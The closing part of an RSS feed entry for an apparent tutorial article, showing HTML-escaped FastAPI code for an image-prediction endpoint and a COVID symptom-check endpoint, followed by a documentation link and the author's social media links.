&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict_api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpeg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Image must be jpg or png format!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;prediction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;prediction&lt;/span&gt;


&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/covid-symptom-check&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_risk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;symptom_check&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;uvicorn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://fastapi.tiangolo.com/" rel="noopener noreferrer"&gt;FastAPI documentation&lt;/a&gt; is the best place to learn more about core concepts of the framework. &lt;/p&gt;
&lt;/blockquote&gt;



&lt;br&gt;
&lt;br&gt;

&lt;blockquote&gt;
&lt;p&gt;Hope you liked the article.&lt;/p&gt;


&lt;/blockquote&gt;

&lt;p&gt;Feel free to ask your questions in the comments or reach me out personally.&lt;/p&gt;

&lt;p&gt;👉 Twitter: &lt;a href="https://twitter.com/aniketmaurya" rel="noopener noreferrer"&gt;https://twitter.com/aniketmaurya&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;👉 Linkedin: &lt;a href="https://linkedin.com/in/aniketmaurya" rel="noopener noreferrer"&gt;https://linkedin.com/in/aniketmaurya&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tensorflow</category>
      <category>webdev</category>
      <category>python</category>
      <category>machinelearning</category>
    </item>
  </channel>
</rss>
